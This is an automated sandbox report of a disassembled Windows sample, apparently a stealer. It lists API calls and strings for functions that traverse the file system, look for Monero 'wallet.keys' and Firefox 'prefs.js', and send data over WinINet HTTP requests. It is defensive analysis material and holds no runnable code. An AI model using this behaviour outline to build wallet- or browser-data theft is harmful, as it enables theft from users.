String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 14549a994c1014a131f3c62fd6f1de4b49f2a4d41cb10fc528af591e61a9a1e4
Instruction ID: 7c7488bfc224560d9f92ddc7f73713fccc4bcbd195e730b8b49f2fa581d3f1a6
Opcode Fuzzy Hash: 14549a994c1014a131f3c62fd6f1de4b49f2a4d41cb10fc528af591e61a9a1e4
Instruction Fuzzy Hash: 576142B1500219ABCB24EBA0DC49EFA777CBF88700F008598A64996141EB74AB45CF91

Function 005E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
Part of subcall function 005E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005E4915
StrCmpCA.SHLWAPI(?,0164E390), ref: 005E493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00600DDB,00000000,?,?,00000000,?,",00000000,?,0164E380), ref: 005E4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005E4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005E4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005E4E49
InternetCloseHandle.WININET(00000000), ref: 005E4EAD
InternetCloseHandle.WININET(00000000), ref: 005E4EC5
HttpOpenRequestA.WININET(00000000,0164E310,?,0164DDD0,00000000,00000000,00400100,00000000), ref: 005E4B15

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

InternetCloseHandle.WININET(00000000), ref: 005E4ECF

Strings

", xrefs: 005E4BF2
", xrefs: 005E4D33
------, xrefs: 005E49BD
------, xrefs: 005E4B28
------, xrefs: 005E4C69

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 28b5f1c764a625701a4e2a7a43da43a2f4b9eeabd07b28e895485b5010620efd
Instruction ID: eb9cc44b0eff0f8d45add00f2efa5cb4394cc21fa93b00db617a954b01e3547b
Opcode Fuzzy Hash: 28b5f1c764a625701a4e2a7a43da43a2f4b9eeabd07b28e895485b5010620efd
Instruction Fuzzy Hash: C4120EB291011DAADB18EB50CD56FEEBB79BF54340F5041A9B20A63091EF742F49CF62

Function 005F3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005F3EC3
FindFirstFileA.KERNEL32(?,?), ref: 005F3EDA
StrCmpCA.SHLWAPI(?,00600FAC), ref: 005F3F08
StrCmpCA.SHLWAPI(?,00600FB0), ref: 005F3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 005F406C
FindClose.KERNEL32(000000FF), ref: 005F4081

Strings

%s\%s, xrefs: 005F3EB7

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 4ff7d47eb4cf4412a5258b912d5762044a4d8cfb270ecfb13da4893eafbf373b
Instruction ID: 28d16742fe7c58f114657075923dcd755c6bcbed3b25edfde60923dc7f850b1c
Opcode Fuzzy Hash: 4ff7d47eb4cf4412a5258b912d5762044a4d8cfb270ecfb13da4893eafbf373b
Instruction Fuzzy Hash: 005147B5900219ABCB28EBB0DC49EFA777CBF84300F008598B75996080DB75DB86CF55

Function 005EF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006015B8,00600D96), ref: 005EF71E
StrCmpCA.SHLWAPI(?,006015BC), ref: 005EF76F
StrCmpCA.SHLWAPI(?,006015C0), ref: 005EF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 005EFAB1
FindClose.KERNEL32(000000FF), ref: 005EFAC3

Strings

prefs.js, xrefs: 005EF812

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 57d4645fc24f038cbdf1f9fd5fc9741902d823fedbc1e0040c3fd56067114e32
Instruction ID: efae9169459db099594bda3b036aded09b79d4df5b96010c21231d804b678350
Opcode Fuzzy Hash: 57d4645fc24f038cbdf1f9fd5fc9741902d823fedbc1e0040c3fd56067114e32
Instruction Fuzzy Hash: A4B153B19001099BCB28FF60DC59EFE7B79BF94300F0085A8A54E97195EF746B49CB92

Function 005E16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0060510C,?,?,?,006051B4,?,?,00000000,?,00000000), ref: 005E1923
StrCmpCA.SHLWAPI(?,0060525C), ref: 005E1973
StrCmpCA.SHLWAPI(?,00605304), ref: 005E1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005E1D40
DeleteFileA.KERNEL32(00000000), ref: 005E1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 005E1E20
FindClose.KERNEL32(000000FF), ref: 005E1E32

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Strings

\*.*, xrefs: 005E17F1

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 27fe9eeabdb6232932118a0447d0fb673835789218b78c874cdd1f724641b096
Instruction ID: bf585e4146703514f06c96f392773186064cc0964cd3d23931e6b0336055c238
Opcode Fuzzy Hash: 27fe9eeabdb6232932118a0447d0fb673835789218b78c874cdd1f724641b096
Instruction Fuzzy Hash: 131212B191011D9BCB19EB60CC59AFE7778BF94340F4041A9A60E62095EF746F89CF92

Function 005EDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006014B0,00600C2A), ref: 005EDAEB
StrCmpCA.SHLWAPI(?,006014B4), ref: 005EDB33
StrCmpCA.SHLWAPI(?,006014B8), ref: 005EDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 005EDDCC
FindClose.KERNEL32(000000FF), ref: 005EDDDE

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: c5a2b38951bf5efc6e97c29bbbe88fed2d61bdc52f75dfd2a1ce095704c73306
Instruction ID: 2cfd2dd32ee4db3a82aefeda7afc0bc8da87a4a0c8f86481bc325627af71a798
Opcode Fuzzy Hash: c5a2b38951bf5efc6e97c29bbbe88fed2d61bdc52f75dfd2a1ce095704c73306
Instruction Fuzzy Hash: 649156B290010997CB18FB70DC5ADFD7B7DBFC4340F408568B94A96195EE78AB098B93

Function 005F7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

GetKeyboardLayoutList.USER32(00000000,00000000,006005AF), ref: 005F7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 005F7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 005F7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 005F7C62
LocalFree.KERNEL32(00000000), ref: 005F7D22

Strings

/ , xrefs: 005F7C7F

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 9bcd91c277da76ec1641dc70cfd023347d5b212adaf68aa9c0f47f15d27fc356
Instruction ID: 21764e7ee612722b90f415abc63396f13ce2ac788d2fd53792e62eb604e3b59a
Opcode Fuzzy Hash: 9bcd91c277da76ec1641dc70cfd023347d5b212adaf68aa9c0f47f15d27fc356
Instruction Fuzzy Hash: 0C415EB194011DABDB24DB54DC99BFEBB74FF48700F204199E609A2191DB782F85CFA2

Function 005EE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00600D73), ref: 005EE4A2
StrCmpCA.SHLWAPI(?,006014F8), ref: 005EE4F2
StrCmpCA.SHLWAPI(?,006014FC), ref: 005EE508
FindNextFileA.KERNEL32(000000FF,?), ref: 005EEBDF

Strings

\*.*, xrefs: 005EE44D

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
